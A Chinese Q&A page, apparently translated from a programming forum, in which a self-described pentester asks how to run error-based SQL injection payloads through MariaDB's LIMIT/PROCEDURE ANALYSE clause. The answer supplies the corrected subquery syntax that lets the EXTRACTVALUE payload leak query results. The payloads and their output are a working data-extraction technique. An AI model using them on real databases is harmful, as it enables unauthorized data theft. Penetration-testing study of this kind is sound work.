首页 > 解决方案 > MariaDB 5.5.65 sql 注入

问题描述

我是 pentester,我正在 MariaDB 5.5.65 服务器上的 limit 子句中测试基于错误的 sql 注入。有一些麻烦。

MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select '123',0x7178627171)),1)' at line 1
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,'123',0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkq123qxbqq'
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,database(),0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkqinformation_schemaqxbqq'

我可以检索数据库()和版本()之类的信息,但不能使用选择。这是 MariaDB 的功能吗?我可以绕过这个还是不可能在 MariaDB 服务器的过程分析中使用选择?

标签: sqlmariadbsql-injectionprocedure

解决方案


如果要使用 select 在表达式中返回标量值,则必须将其放在括号中以使其成为标量子查询:

EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171))

应该:

EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,(select '123'),0x7178627171))

在此示例中,这仍会导致 XPATH 错误,但这与您提出的问题无关。


推荐阅读